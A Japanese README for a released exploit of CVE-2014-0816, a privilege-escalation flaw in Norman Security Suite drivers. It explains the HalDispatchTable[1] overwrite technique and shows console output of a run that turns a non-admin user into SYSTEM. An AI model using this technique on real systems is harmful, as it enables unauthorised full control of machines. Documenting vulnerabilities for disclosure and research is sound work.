
これはCVE-2014-0816(JVNDB-2014-000026:Norman Security Suiteに存在する権限昇格の脆弱性)に対するエクスプロイトです。
このエクスプロイトは、ngs.sys / ngs64.sys のIOCTLハンドラの脆弱性を悪用して、非管理者権限からSYSTEM権限でCMD.exeを起動します。
C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.
その後、新しいコンソールが表示されます。
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
nt authority\system
この脆弱性により、攻撃者は任意のアドレスを任意の値で上書きできるため、本エクスプロイトは、現在のプロセスの権限をSYSTEM権限に昇格させるシェルコードのアドレスを用いてHalDispatchTable[1]の値を書き換えます。

この脆弱性は、Windows XPからWindows 8までのx86/x64両方の全てのプラットフォームで悪用可能ですが、本エクスプロイトは特定のプラットフォーム向けに設計・テストされています(例えば、SMEPのためWindows 8では動作しません)。
このソフトウェアはMITライセンスの下で公開されています。詳細はLICENSEを参照してください。